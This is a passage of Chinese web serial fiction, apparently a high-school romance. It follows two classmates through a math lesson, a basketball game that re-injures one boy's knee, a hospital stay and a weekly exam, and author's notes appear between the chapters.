——江淮。 楚明看了一眼,回道。 成绩不太好,见谅。 江淮默住,他实在不理解这种公式在手、只需往里把a换成n的机械步骤有什么难度。 他轻拧眉看向楚明的那块板书。 大马猴还挺雀跃:“江淮同学过程精简逻辑明了,虽然现在不怎么考证明题,但只要考到按这种步骤去写是准拿满分的——至于楚明,我实在不知道教这么久是不是都教到猪脑子里了,基础的东西都学不会,怕是以后连个二本都考不起……题我就不讲了,学得会学学不会算了。” 江淮举起了手。 大马猴心里咯噔一声:“……江淮同学你说。” 内心戏还没演完的四十多名演员一致地扭头过去,心道:又又又来了! 江淮站起身来淡定地开口:“上个厕所。” 大马猴瞬间松了口气:“去去去,上完快点回来。” 等着看戏的同学眼睛里没了光,慢腾腾地扭过头去。 江淮把座椅推进去,扭头看了眼楚明,说:“一起。” 楚明嘴角抽了抽:“……” 江淮于是又举了个手,在大马猴阴晴不定的眼神注视下淡定地说:“腿疼,找个人扶。” 眼里无光的人瞬间找到了光源,脖颈高负荷运转,扭头看过去。 好歹当班主任多年,大马猴会过来他的意,恼怒地答应:“同桌扶下他。” 楚明:“……” 出教室的几步路始终有人把视线钉在他俩身上。 赵逵逵离后门进,在江淮经过时小声地吼了句:“兄弟我能扶啊!下次找我!” 江淮冷了他一眼。 走出教室江淮便把搭楚明肩头的手收了回去。 走到厕所洗手台前江淮抬起水龙头洗掉指尖手心的粉笔末,掀起眼皮看着镜子里的楚明,说:“你不冷吗?” “嗯?”已然做好心理准备当江淮口中的猪的楚明愣住了。 江淮无语地往他脸上甩了点儿水:“一句话都听不明白,你没睡醒?” “……”楚明抹掉水,低低地说:“不冷。” 江淮看着他:“也是,我看你内心挺火热的。” 楚明没忍住回视他:“?” 江淮轻扯了下唇:“什么话也听得下。” 楚明默着没说话。 他大概懂江淮的意思,无非是觉得大马猴那些话不是什么好话。 也是,按江大面子的性子,哪能听得这些。但凡说到江大面子身上估计那半截粉笔能戳大马猴鼻子上上演一出匹诺曹默剧。 但话是话,口耳本就同源,一管进一管出,听听于他而言也没什么大不了的……是吧? 江淮见他不说话,屈指扣在他前额,冷声说:“我只教你一次。” 楚明脑中一片茫然,就跟那截粉笔成精在他脑海里变成白色脑水了似的。 江淮手指是湿的,贴在镜子上写了两笔,趁着没干说道:“等式左边是由n+1项组成的多项式,其实也就是公比b/a首项……的等比数列……” 楚明静静地听着,目光却紧紧跟随着他泛着清水光泽的手指指尖。 指甲留着一小截,弧度漂亮内里白净。 江淮讲完恨铁不成钢地屈指扣他脑门:“走什么神呢傻逼。” 楚明不动声色地把眼睛对准快消失的镜面,小声:“……在听。” “那你讲一遍,”江淮双手抱胸冷眼看着他:“讲不出来我现在就揍翻你。” 楚明:“……” 实际上这道证明题真不难,简单套用等比数列求和公式再化简便得到要证明等式。 听楚明磕磕绊绊讲完,江淮没好气地把他拉出厕所。 楚明看着他的侧脸,微顿:“错了吗?” 江淮瞪了他一眼:“错了你现在能出厕所?” 楚明:“……” 他不知怎的,听着这满含怨意的语气,有些想笑。 然后没忍住笑出声了。 “很值得高兴吗?”江淮拧眉。 楚明从善如流地答:“……对不起。” “又是这句,”江淮眉拧得更深:“再听到这句话我揍你。” 楚明眼珠在五点钟七点钟方向之间转了转,轻抿唇隐忍地在他背后笑了笑,说:“……嗯。”—— 作者有话说:长长的一章[彩虹屁] 第27章 第 27 章 “他妈的我啃的,他有屁…… 回到教室时江楚两根磁铁吸来了些好奇的视线。 但显然大马猴的磁力更强, 把视线系数暴力拽了回去。 刚拽回去就下课了。 赵逵逵摇着一肚子好奇水走了回来,把江淮前面那个小男生妙语连珠地说走,坐下来问:“哥们, 你俩逃半节课, 牛逼啊。” 江淮瞥他一眼:“你要羡慕自己去逃啊。” 赵逵逵:“……” 这话似曾相识,但想不起来在哪听过。 “话说你俩谁便秘吗上这么久?”赵逵逵脑袋追到两张课桌间的三八线上,目光一个不慎落到草稿纸上那句话,下意识读出了口:“你还挺香的——我操, 哥们你真被楚哥的草莓刺激到了也准备下手了?” 楚明眼皮一跳。 江淮目光沉冷地看着赵逵逵:“是啊, 今晚就上|床。” 楚明:“……” 神经,有么你就上,上哪儿上? 赵逵逵惊得眼珠子都快弹射起步了, 他磕巴了两下才开口:“我操,这么猛!兄弟你是这个!” 他竖了个硕大的大拇指。 江淮无语地看着他:“傻逼。” 赵逵逵往他脸上凑了凑,说:“能跟兄弟透个底儿吗?咱班上的还是其他班的?打听清楚我好跟隔壁那些小妹子们交代。” 江淮:“……” 他轻拧眉:“关你屁事。” “咱好歹打过两轮球, 虽然我没赢但交情深厚, ”赵逵逵说:“你就跟我说点浅面儿的,我不至于一无所知就行。” 江淮没有说话,兀自低头继续做题。 赵逵逵很知变通地往里探头:“楚哥你肯定知道吧?就一句话, 你就跟兄弟我交代一句话!” 楚明:“……” 他什么都不知道能交代什么, 只安静地垂下头开始做题。 “好吧好吧, ”赵逵逵可怜地扶额, 说:“那楚哥你的那位的呢?虽然暂时没有妹子挂念你, 但我还是想八卦八卦,你那位哪班的啊?” 楚明竖着的笔顿了下。 没等他说都是误会,就听江淮声音轻浮地说:“他妈的我啃的,他有屁的那位。” 楚明眼睛骤然睁大, 连写题思路都烟消云散渣都不剩了。 赵逵逵嘴巴张得能塞下一对鹅蛋顺便给下巴脱个臼,他连着操了几句才找到自己的声线:“这也太炫了,兄弟你快给我啃一个,我也找我那群弟兄炫耀去!” 江淮轻挑眉:“滚远点。” “……好吧那我换个人,”赵逵逵像是发现了什么新大陆,欣喜若狂地笑成食人花走回座位,开始物色他的兄弟团们。 等人走远江淮在空中转了圈笔,突然侧过身看着楚明。 视线黏在身上想忽视都难,楚明看过去。 刚看清楚衣领就被人一拽,江淮上半身倾靠过来,手指把他领口往下拨了些。 那道咬痕已经淡了,看不出原本的模样。 楚明浑身上下没有一颗细胞不屏息:“……怎么了?” 江淮见问题不大,收回手面无表情地说:“没什么。” 楚明:“……”- 每周两节体育课,周五上午最后一节课便是这最后一节。 江淮没去跑操,请假后只简单做完热身运动,便退到阴凉处。 楚明在他旁边站着捧了本数学习题册在做。 “哥们,打球!”赵逵逵垫了五十块钱租到篮球,跑过来说:“我的专业队伍,实力够硬,绝对让你玩个尽兴!” 楚明轻拧眉,下意识开口:“他腿……” 江淮打断了他,说:“走。” 楚明:“……” 江淮跟着他们往篮球场的方向走,楚明犹豫半秒后跟了上去。 今天一起上体育课的还有其他几个班的。 球场上一度很热闹,除却本班还剩下的几个啦啦队成员,别班围过来看球的男女生们就数不清也看不过来了。 人体声浪完全高过温度热浪的程度。 “3v3,兄弟局!”赵逵逵看了一眼自己的兄弟们,邀来的四位里两位都是上次江淮的手下败将,剩下两位是别班的。 走过来时还带了一堆尾巴。 尾巴们眼神炽热,要把篮筐看穿似的,盯着这头。 赵逵逵运球到三分线外,起身跳投,“嘭”地一声篮球撞到篮板往外弹射出去。 全场:“咦!”(声调向下版) 赵逵逵连忙九十度鞠躬:“我保存实力中,等会开场给大家秀个漂亮的三分!” 全场:“……” 江淮收回看这边的视线,脱下外套挂在腰间,扯出两条袖子环腰打好死结。 手心手背分好组别,江淮和赵逵逵正巧队友。 “哥们稳了!”赵逵逵食指横擦过人中,说:“必胜局啊!” 对面主动带队的陈炜切了一声,说:“走着瞧!” 主持哨声吹响后,赵逵逵率先运球极速前冲,单方面对抗完两次防守后强势跳投。 中了! 场外顿时传来“哇哇”声,给赵逵逵哄得一度找不到队友,被江淮踹了一脚后才往回走到区域空间内。 赵逵逵抹汗:“你来吗?” “行啊,”江淮调整重心,随意扫看了眼左膝后说道:“速战速决。” “嗯?你急着干嘛?”赵逵逵用肩膀撞了他一眼:“女朋友等在场外?” 江淮扯了下嘴角:“滚蛋。” 运球满场绕跑时,江淮空着的两秒余光在场外找了下楚明。 楚明正站在外场树荫里,捧着的书没有翻开,阴影罩着看不清具体神色,但能感觉到目光是往他这边看过来的。 江淮轻勾了下唇,闪过对面那位猛汉利落切球。 投掷出去的那刻是个标准的抛物线,大概有个半秒的样子便能命中,能析透形势的队友已然停止进攻,而此时江淮却被人狠地一撞。 那人全身重量都扑到他身上,像颗炮弹似的砸过来,撞到他左侧胳膊。 球从框内落地,又骤然回弹升空。 江淮往旁边趔趄半步,他对这种撞防并不陌生,拧着眉扫向撞他的陈炜时,陈炜跟喝了二两假酒似的摔倒在地。 好死不死的,倒下去时脑袋砸中江淮左膝,而后骨碌着往下滑到地面。 江淮:“……” “我靠靠靠!”赵逵逵连滚带爬地过来把地上的陈炜扶起来,见陈炜捂头闭眼蜷在一起,想也没想一巴掌招呼到他脸上:“醒醒醒醒!” 陈炜着实没想到自己等来的是一巴掌,被扇得睁开了眼,眼里满是错愣。 赵逵逵松了口气:“没事了没事了。” 说着他丢开陈炜站起身往江淮这边看了眼:“哥们你没事吧?” 江淮冷眼扫了下陈炜,“没事。” 场外观众不知道发生了什么,只知道陈炜被撞倒在地,而江淮站成一尊雕像在冷眼看他。 “能打打不能换人,”赵逵逵看了眼陈炜:“能打吗?” 陈炜无语地看着他:“……能。” 赵逵逵拍了下他的肩:“那继续。” 3v3仍在激烈地进行着,江淮攻防都相当到位,球在手时除了篮筐哪也不去,该防守时篮球瘪气也进不去篮筐。 打到后期五条吐着舌头的黑狗哈着腰对着江淮喘气。 江淮冷着脸往场外走去,走出线外才发觉球还在手上,转身单手投球。 篮球跨越半场“嘭”地进入篮筐! 炒菜一样油星子迸溅出闹腾腾的欢呼声…… 楚明不知道什么时候走到场内的。 江淮投完球转身就见楚明站在自己面前,低头扫了眼自己的腿,声音很小:“你腿没事吧?” 江淮面无表情地看着他:“关你屁事。” 楚明默默地退到旁边:“……” 江淮低头想把腰间的死结解开,解的时候才发现刚才拴得太紧。 他正做着斗争,余光里赵逵逵走了过来,说:“哥们,你做什么惹到体委了?” 江淮拧眉:“什么?” “明显针对你呢,”赵逵逵说:“你球打那么好能犯这么低级的规?” 旁边楚明轻顿,视线慢慢落到江淮腰间。 江淮把整条衣服往下拽去,想像脱裤子一样把校服脱到脚踝处,但发现臀部是个障碍点。 他默然:“……” “你干嘛呢?”赵逵逵看着他生疏的动作,继续说道:“我总感觉他要搞你一波大的,你最近注意点言行啊。” 江淮冷了他一眼:“我注意什么?” “言行,”赵逵逵说:“你这脾气估计除了我也就楚明能接受了……我操楚哥你在啊。” 楚明:“……” 江淮扫了楚明一眼,微抬下巴点了下他:“过来。” 楚明走过去。 “帮我解开。”江淮松开手,指了下紧紧缠着腰身的校服外套。 楚明看了眼他的系结方式:傻逼。 “看看看就是这种,”赵逵逵跳起来:“哥们你这个语气就很拉仇恨,我要是楚明听你这么吩咐我能在心里骂你一万句。” 楚明摸到校服袖子的手微顿,顿了半秒又恍若无事地继续。 “是吗?”江淮说:“那要怎么说?” 赵逵逵清了清嗓子:“你得温柔且放低姿态,这么说:楚哥,帮忙解开一下,谢谢。” 江淮:“……” 楚明:“……” 赵逵逵绘声绘色地教导完,那边队友把球飞掷给他,显然还来一组娱乐局,他忙点了个头:“你俩先玩,我去去就来。” 日头正晒着,刺辣的阳光把皮肤照得异样的白。 江淮垂眸看着即将解开的死结,往前俯身凑到楚明耳边:“谢谢楚哥。”—— 作者有话说:篮球知识不是特别了解啊,作者本人很迷三分,也很迷单手投球……这俩种球可能出场率会比较高。 第28章 第 28 章 “继续啊,”江淮看着他…… 人精力再旺盛也做不到打完一场球不喘。 江淮贴在耳边时呼吸卷着夏风的热烫, 略显粗重的喘息声藏匿在僵硬而卡顿的咬词之间。 楚明感觉进到耳朵里的不是声波,而是条热乎乎的痒痒虫。 他缩了缩脖子,迅疾地把校服从江淮腰间拽下, 掐在手里往后退开半步。 江淮伸手接过校服, 理展时挑眉问:“你喜欢这语气?” 楚明:“嗯?” 他怎么不知道…… 江淮把校服披到肩头挡日头,瞟了眼球场上的赵逵逵,说:“他教我这么哄你。” 楚明无端被口水呛到,偏过头猛咳两声连连摇头:“……没, 没。” 江淮伸手揽过他肩头, 冷着声音说:“我腿没事。” 楚明立马接道:关我屁事。 显然江淮是在撒谎,江淮靠在他身上时重心一度是在右侧。 楚明目光落在他微颤的指尖和曲着的左腿上,无声地叹了叹气:江大面子- 午饭后江淮趴座位上四肢憋屈地午休。 意识有些散乱, 他听不清更感知不到外界的动静。 左膝膝盖的钻痛一阵一阵地抽到神经深处,他放在桌面的两只手不由地攥紧。 头顶风扇吹着,后排空调开着, 前几天午休需要搭件外套盖着的温度, 他现在却仍旧觉得热。 前额渐渐渗出冷汗,江淮狠狠地一口咬进小臂。 “吃点药吧,”楚明刚翻出课桌去接了杯热水, 把备着的塞来昔布胶囊取出一颗。 江淮没有任何反应。 楚明轻顿, 蹲在他座椅旁边, 歪着头从他弓出的空隙里向他看去。 只看清他下颌骨和泛白的唇色。 “有病吧, ”楚明趁他意识不清耐不住地骂了句:“没那本事逞什么强啊。” 说完他把温水推到旁侧, 视线往教室时钟上看了一眼,弯身把江淮两条胳膊剥离桌面挂到自己脖颈后,一脚踹开课桌拔出他的双腿。 把课桌恢复原位他单手托抱着江淮的屁股墩,另一手端着温水杯往外走。 没办法, 姿势比公主抱更娇气。 江淮意识不清地抱着他脖子,温热的脸伏靠在他颈窝里。 楚明把人抱着走出学校,打到出租车便直奔最近的医院。 把江淮交给医生后他无可奈何地给他妈打了个电话。 “我就知道他又要出事,傻逼东西,”他妈妈温和地说:“……小楚,阿姨马上过来。” 楚明挂断电话:“嗯。” 站在医院走廊尽头隔着窗欣赏了会下边的绿化,他把手机账号切出,换号跟大马猴请了个病假。 大马猴的消息进得很快- 都什么时候了还请假呢,家长你进屋里看看楚明保准装睡呢,得管严不然管不住- 我就批这一次,明天考试务必来啊,以后也尽量少请假。 楚明没回,把账号切回来,做了几次二氧化碳和氧气的交换运动后转身回到病房。 他其实比较好奇江淮妈妈去请假会得到什么回复。 ——“啊孩儿咋生病了?怎么搞的,家长要多对孩子上心呐!学习固然重要,但没有身体学习好又有什么用……”吗? 他扯唇极轻地笑了笑。 正好江淮没醒他趴旁边补补昨晚没睡完的觉- 江淮清醒过来时鼻尖尽数是难闻的消毒水味儿,呛得他恨不能掏心掏肺。 他指尖敲点着床面,脑门还光森着就听一道中气十足的女声:“醒了?” 他妈。 江淮扭头看过去,目光越过趴睡在手边的楚明到达那位女士身上。 他妈说:“我煲了点骨头汤你喝点吗?先别好奇我怎么在这,汤不喝完老娘一丝半毫都不会告诉你的。” 江淮:“……” 江淮把自己撑坐起来,在小桌板上捧着饭桶喝完半桶骨头汤。 他妈明显很满意:“说吧,想问什么?” 江淮眼珠转了下,落在身旁乌黑的发顶上,声音嘶哑:“他怎么在这?” “好哇老娘大老远跑来得不到儿的一句关心!”他妈心酸地说完,转而挂上笑脸:“小楚送你来的医院,你好了还得感谢人家……就是吧,这娃我喊半天没喊醒,睡太熟了。” 江淮忍不住笑了一声。 他伸手,手心贴着楚明脑袋顶揉了揉,又问:“您怎么在这?” “你受伤我能不来吗?”他妈瞪着他:“你怎么又打篮球,你要复伤多少次才能长点记性!我就问你一句:你这膝盖还要不要了!” 江淮默着没说话。 “要今天没有小楚你现在就硬了知道吗?”他妈吼道:“说一百遍都听不进去一点,你耳朵是通的吗?连没连着脑子啊?” 江淮顿了半晌才说:“我有数。” “你有个卵的数,”他妈说:“不说了说着烦,别给我乳腺癌气出来!你班主任说你惹的事让其他同学写检讨,有这回事吗?” 江淮端着饭桶舀了一勺喝:“没有。” “那我等会去学校跟你们老师对个峙,”他妈说:“你留点汤给小楚,我说你那点情商就跟你那半月板一样稀碎,我都没眼看。” 江淮:“……” 他妈风风火火地走了,交代完一些事情便去学校舌战群儒。 江淮把饭桶盖好盖子,无聊地看着病房的构造。 惨白,放几束白花能直接当殡仪馆的惨白。 江淮不由自主地把视线落回楚明脸上,指尖探到他含着热气的呼吸,“真他妈能睡啊。” 接近晚七点,楚明终于醒了。 他眼睛才睁到一半脑袋却先一步扬起来了,模糊的视线逐步聚焦,他抬手旁若无人地伸了个懒腰。 手举到半空还没往后抻,江淮的目光就落在他脸上了。 楚明:“……” 他僵住的瞬间腰背本该活络的几根骨头错位了似的,死酸。 “继续啊,”江淮看着他。 楚明机器人一般地僵硬地伸完已经不懒的懒腰,坐直,小心翼翼地问:“你没事了吧?” “没事,”江淮往旁边坐了些:“你睡上来吧。” 楚明赶忙:“……不。” “那你抱着桶喝,”江淮把饭桶拎给他:“不喝完不准走。” 楚明抱过饭桶:“……谢谢。” 桶里是筒子骨骨汤,肉炖得软烂,清香四溢。 楚明指尖点着桶壁,骨汤热气扑了他满脸,眼睫毛上都挂着些许雾气。 他安静地把汤喝完,起身收拾饭桶。 江淮看着他的背影,说:“我要出院。” 楚明顿住:“我做不了主。” 江淮单手撑着床往地上翻下去,要滚到地上时手熟练地撑到床板站直。 眼见他就要走出病房,楚明叹着气抓住他手腕:“我去问。” 江淮冷了他一眼:“我都下床了。” “那就再上床,”楚明把他按到床上坐好,转身离开病房。 江淮坐在床边看了他离开的方向好一会儿才转回目光,指尖轻轻滑在左膝盖一圈。 其实也没那么脆吧。 应该能撑着他明天再打一轮。 弄完一系列出院手续,江淮上半身换上休闲t恤,整理好后重心压到右脚站直,拄杖倒还不至于,但一脚深一脚浅走起来实在傻逼。 他站在原地始终没动。 身后楚明只言片语都不发,目光毫不遮掩地落在他后背和腿上,带着些不可忽视的打量。 江淮拧了下眉:“你他妈什么眼神?” 楚明上前一步,无辜地问:“什么?” 江淮扭头动也不动地看着他。 楚明指尖在身侧搓了下:“要我背吗?” 江淮沉沉地看了他一会儿,反应却不似之前那般激烈,反倒气定神闲,他点了下头:“你趴着,我自己上。” 楚明总感觉哪一环不太对劲,但品半天也没品出来。 他弯下腰身。 江淮手攀着他肩膀往楚明身上轻轻跳上去。 背人习惯性的动作是找膝盖并圈住,楚明也有这个习惯,手腕压到江淮膝盖完时只感觉背上贴着的人狠狠地颤了一下。 反应过来,楚明半边身子往旁边迅速转去。 下一秒江淮就要因为没有支撑点而滑到地上时,楚明游刃有余地一手环住他后腰,实现由背到抱三秒转换。 江淮还勾着他脖子。 被这个高难度动作弄得心跳都漏了半拍,他没松手,拧眉骂道:“你他妈搞什么?” 其实按正常情况这个姿势还是会碰到膝盖。 但楚明单手便能把人抱稳,环他膝盖下的手只起到一个托护的作用,影响不大。 楚明没看他,目视前方说:“不好背。” 江淮:“……” 从走廊出去一直走到医院大门口,一路上频频往他俩身上侧目。 江淮始终保持着冷面形象,甚至给那些看过来的人一一看回去。 楚明觉得好笑,在心底放肆地笑了两声。 面上却不显。 江淮并不放心楚明的力气,虽然领教过几次,但他从不对自己以外的人持有百分百的相信。 所以单手用力勾着楚明的脖颈。 他冷声问:“还多久?” 楚明说:“十来分钟。” “哦,”江淮闲得无事,凑近些近距离打量着他的脸。 脸挺光滑,没有一般学生脸上爆棚的油痘痘印,皮肤干净清透。 脸部五官还怪经得起打量,整体线条清晰轮廓利落。 楚明错开他的目光屏息目不转睛地看着前方。 “抱着走这么久,你不喘吗?”江淮压他耳边问,“别摇头点头,回答我的话。” 楚明喉间滚了一下,说:“还好。” 话不长但明显能感觉到气息是稳的,没抖没颤不急促。 江淮往外退出两三公分的距离,目光从他下颌经过喉结再落到被校服短袖盖着的腰腹。 看着挺平坦,没什么稀奇的。 江淮看了几秒,伸手自下挑起他的衣服,手往里探了进去—— 作者有话说:那什么,前后两种姿势都能想出来吗? 想不出来我也没办法了[托腮]〔可惜我只会画火柴人儿还没法发出来〕 and,今天是“江娇娇”[狗头] 第29章 第 29 章 老子腹肌比你漂亮。…… 硬的。 指尖轻佻地游荡在线条分明的腹肌之间, 能感觉到楚明因为呼吸紧绷而导致的肌肉硬度。 江淮游离着,数着差不多有几块。 才摸清楚两块,隔着质地粗糙的衣料楚明攥住了他的手。 楚明压着声音:“你干什么?” 江淮目光往旁边偏看了半秒, 轻挑眉:劲儿真大, 单手居然也能给他抱稳…… 他没管楚明的手,兀自挣开继续向下探去,说:“摸一下你腹肌。” 在医院腌太久,江淮指尖是冰凉的, 摸到温热的腹部时格外敏感, 楚明轻锢在他侧腰的手攥紧:“你……” 江淮探完,啧了声:“我倒是小看你了。” 楚明垂眼看了他一秒:“……你手拿出去。” 江淮把手从他衣服里抽出来,指尖也被擦热了, 他说:“挺牛逼的。” 楚明:“……” 靠,难怪甘心让他抱,在这等着呢- 回到家楚明把他扔到床上, 在书桌上翻找着教辅。 江淮倚在床头:“要出去?” “嗯, ”楚明抱起两本教辅,又从抽屉里摸出两只红黑笔,说:“你睡你的。” 江淮看着他;“不怕我偷你家?” “没什么好偷的, ”楚明压着的那点气儿现在还没缓过来, 懒得跟他废话:“太闲外面有电视桌上有题, 我先走了。” 江淮眼睛轻眯了一下:“嗯。” 十秒钟的时间都没有卧室外便传进来关门的声音。 耳边除却夏日蝉鸣和空调运转声便安安静静一片。 江淮静坐两三分钟后竟觉得有些无聊。 他认真欣赏了会儿屋内没什么好新鲜的陈设, 想起什么似的, 他指尖轻捻回味两秒,伸手撩起自己的黑t。 江淮低头咬住堆起的衣摆,指头探了探自己的腹肌。 一二三四五六…… 数数戛然而止,本就没关的卧室门门口张扬地飘起来一道被灯光映亮的黑影。 江淮保持着这个动作抬头看去。 楚明抱着书一脸震惊地看着他。 江淮:“……” 他气定神闲地松开咬着的衣摆:“眼珠子收收——老子腹肌比你漂亮。” 楚明:“……” 他粗略地回味了下方才看到的肉/体:不可置否, 是挺漂亮。 他轻顿后走到书桌旁,拉开抽屉取出黑皮笔记本,转身又要走。 刚走到门口就被叫住了。 江淮看着他说:“你去干嘛?” 楚明没回头:“出去一趟,很快回来。” 江淮追问:“多久?” “一小时左右。”楚明转过来说:“你先睡吧。明天周考,挺重要。” 江淮点了下头,说:“我等你。” 楚明看着他:“……不用。” 江淮瞪着他:“你管得着我?” 楚明:“……”傻逼- 江淮爬到床边摸来一本顶上的英语教辅,干看了半小时实在没有做的欲望,便把书扔回去躺回来睡觉。 但不太睡得着。 睁着眼把天花板都快忘穿了瞌睡虫还是不眷顾他的大脑。 他双眼无神且空洞地看着卧室门。 不知道盯着看了多久,外面传来开门声,几分钟后楚明的身影经过走廊,应该去浴室了。 随后花洒声响起,再然后,隐隐有食物的香气飘来。 江淮从床上挺了起来。 过了会儿就见楚明端着碗走进来,只淡淡看了他一眼,把另手带着的小桌撑在床上,“瘦牛肉粥,将就着吃吧。” 江淮轻顿,目光扫过他湿润的发梢、水迹未干的脖颈和被水透湿的白t,犹豫两秒后说:“谢谢。” “不客气。”楚明走到客厅吹头发。 吃完江淮去厕所简单收拾捯饬了一下,往床上坐去。 楚明站到卧室灯旁正要帮他关了,就听江淮说:“你上来睡。” 楚明指尖一抖:“……我怕碰到你伤口。” “没事,”江淮半秒犹豫都没有,吩咐道:“你上来睡。” 楚明拗不过他,拍灭灯后往床上坐去。 躺下,脸侧着门的方向就闭了眼,光速入睡。 江淮凑过去听着他平缓的呼吸声:“……” 他小声地嘟囔一句:“猪吗这么能睡。” 他照旧想跟着他的呼吸声,但楚明侧对着他睡实在是听得断断续续,很拱火。 江淮直起上半身把楚明搬至正面朝上。 果不其然,就算这个动静楚明都没有半点要醒的意思。 江淮:“……” 猪! 楚明睡着之后就跟死了一样。 除了还起伏着的胸膛和一进一出的呼吸,肉眼看不出他有任何活人的特征。 江淮护着腿向他蜷缩去,在外界虫鸣蝉叫热闹的静谧追着楚明的呼吸慢慢调整气息,压在胳膊上的手臂无意识地滑向旁侧,他沉进了意识深处- 还是一样。 楚明的闹钟只叫得醒江淮。 江淮直起上半身偏过头,沉着脸在闹铃的尖锐声中欣赏楚明是怎么起床的。 闹钟长续航地响着,楚明好一会儿才哼哼着开始伸手在背部下方乱摸,找手机。 摸了半天都没摸到,他微微挺起来的背又贴回去了。 江淮看得想笑,下床迅速进卫生间清洗一番,把牙刷戳嘴里便走到床边垂目看他。 楚明醒了。 但显然不是被闹钟叫醒的。 江淮也是这时才注意到他左手手腕上有块腕带一样的东西,肉眼可见高频度的震率——和那种负责叫醒的电击手环差不多。 江淮挑了下眉,含混地说:“还梦呢?” “……嗯、嗯?”楚明慢慢坐起来,愣愣地看着他,半晌后说:“早上好。” 声音带着没睡醒的哑。 “早上好。”江淮回了句,蹦进卫生间吐快要被捂热的牙膏沫子- 今天没车。 楚明拿早餐时顺手给江淮带了个白面馒头和豆浆。 江淮一口咬得深,叼着馒头坐上出租车,咀嚼多时才问道:“你不吃吗?” 楚明坐直说:“清醒再吃。” “还没睡醒?”江淮把馒头从嘴里拔出来,歪头从下往上看着他眼睛:“你昨晚不是睡挺好的吗?” 楚明脑袋往后仰了些:“……我等会下车走几步就好。” 江淮看着他轻拧了下眉:“睡神。” 楚睡神:“……” 到教室时跟末日变天似的,教室外的大空地全是一摞摞的书,教室里三桌一拼单桌成列,空空荡荡的。 江淮走到座位发现桌肚里没书,刚想拧眉就见赵逵逵走来,笑说:“哟,你俩回来了?” 江淮问:“我书呢?” 楚明从他背后走进去。 “哦忘了你新来的,每周周考布置考场书得搬出去,”赵逵逵说:“我帮你俩搬的!仗义吗?” 楚明轻轻地点了下头:“谢谢。” 江淮跟着说了句:“谢谢。” “不客气,不客气。”赵逵逵指了指外面:“给你们堆一起的,最外面那圈。” 没等江淮和楚明找到书的位置,就听广播开始播放考场规则,以及那句——“距离考试开始还有十分钟。” 江淮空着手,问旁边的楚明:“你带笔了吗?” 楚明轻顿,把裤兜里的黑笔、2B铅笔一并塞到他手里。 江淮拧了下眉:“你呢?” “我有。”楚明把手收回来,说:“考号按上次成绩排名,你应该在末考场,四楼左手边最后一间教室。” 江淮嗯了一声:“谢谢。” 八中考场风气还算看得过去,考试开始铃声响起基本人就齐整地到场完毕。 第一堂语文,间隔十分钟后第二堂文综。 稀罕,江淮并没有坐到教室最角落,而是坐到靠边第一排——身后六位全是上次缺席考生。 “拿到答题卡先填涂考号,”监考老师强调:“别眼瞎填错,注意考试时间。” 说完监考老师就销声匿迹形不散而神散了。 江淮把考卷翻着看了一圈,视线落回第一页。 命卷人:卫疏。 正式开始铃声打响,他已经读完议论文,凭着记忆和语感在选择题上勾勾画画。 说来江淮才上了不到一周高中的课,但高中试卷倒是接触不少。 初三闲得无聊的时候会刷点高中语文阅读题,来攻克他总捉摸不透的议论文标题。 他转着笔一路做下去,把答题卡翻面开始思考作文时,肩膀被笔戳了一下。 后桌压着声音说:“哥们,给抄抄呗。” 江淮没动,笔转飞一圈后他面不改色地开始写作文——神经兮兮的议论文。 过200字的线后,后桌躁动的笔和手安静了,但也只安静了半个小时。 半小时后江淮后肩再次被戳,那声音大了些:“哥们,拜托~” 江淮轻挑眉,把笔落下,右脚把座椅踢开一小截,他起身时拽起硬质答题卡往后桌桌面上压去,俯下身看着他说:“抄。” 后桌脸上顿时一片姹紫嫣红:“……” “干干干嘛呢!”监考老师清醒过来,忙站起身来。 江淮迎着考试三十双眼睛说:“乐于助人呢。” 监考老师:“……” 姹紫嫣红:“……” 江淮冷着脸把答题卡收回来,绷着腿走到讲台:“我交卷。” 说着他快步走出教室,转身走进厕所时才低头轻按了下左膝,骂道:傻逼。 末考场徒留一地宁静,监考老师走下来,眼疾手快地摸到姹紫嫣红卷面下的古诗词小抄:“作弊处理,直接零分,出去找你的恩人玩儿去吧。” 姹紫嫣红:“……” 江淮走出厕所迎面撞上他后桌,抬手搓了个响指:“过来。” 后桌脸盘子调出青红白:“你要干嘛?” 江淮就势倚靠在墙上,抬着的手往旁边指了指走廊顶上的监控:“我能干什么?” 后桌咽下口水后走上前来,道歉态度良好:“我是听说你成绩很好才这样的……” 江淮挺有耐心地问道:“听谁说的?” “就,看校园墙上说的,说你初中常年第一呢,”后桌哽了下:“其实我本来只想看看你前面选择题的,现在直接零分了,你看这搞的。” 江淮冷声:“觉得亏是吧?” 后桌秒速立正:“没没没,没有任何说你的意思。” 江淮看着他:“哪班的?” 后桌小心翼翼地说:“21班,我叫赵恩。” 江淮:“……” 赵恩补充道:“我其实也是为班级平均分着想的,不过也挺好的,零分不参加算平均分……那个你还有事吗?我回去抓紧时间背一下政治。” “有,”江淮问:“楚明在哪个考场?”—— 作者有话说:太岁月静好总归是不习惯,还得是要搞点事情[眼镜] 第30章 第 30 章 “来过我!” 楚明考场在三楼, 原班级。 江淮站后门随意往里看了一眼,便注意到中间最后排正奋笔疾书的楚明。 他看了一会儿便走回满是书的空地上开始找自己的书。 “同学干嘛呢?”临近考场的监考老师走出来,“在我眼皮子底下作弊呢!” 江淮轻顿:“我交卷了。” “用这借口作弊的多了去了, ”监考老师皱巴着脸问他:“哪个班哪个考场叫什么名字?” 江淮终于找到自己那堆书了, 拎出砖头一般的必修三历史书垫到屁股底下坐着,扬眉:“21班,赵恩。” “赵恩是吧?”监考老师立马掏出手机在总群里招呼,直接发的语音:“抓到作弊的了, 21班赵恩。” “啧, ”江淮轻敛眉,淡声:“没那金刚钻就别揽瓷器活。” 监考老师把语音紧急回撤:“你说什么?” “说您呢,”江淮微仰头对上他的视线:“其实我叫张恩。” 监考老师:“……” 江淮极轻地扯着唇角, 低眸把书堆里的政治书拎起来,说:“江淮,我交卷了。” 说着他起身把历史书扔回原位, 走到护栏边摊开书开始翻看。 监考老师:“……” “滴——距离考试结束还有十五分钟。” 监考老师站到班级门口两只眼睛分工明确, 一只监考一只监视,发现那位不知道叫赵恩张恩还是江淮的同学短短几分钟把书翻了十几页,神情相当认真。 嘶, 抓错人啦? “考试结束!” 后排往前收回答题卡, 监考老师清点时抬手拉了下最近的这个人, “你是21班的?” 楚明被他拉着袖子, 不解地点了点头:“是, 老师。” 监考老师把答题卡抱起来,拉着他往外走:“认识外面那位同学吗?” 楚明懵懵地跟着他走,顺着他手指的方向看到江淮时,无语了一瞬。 “是你班的吗?” “……是。” “叫啥名?”监考老师问。 楚明轻顿:“他怎么了吗?” 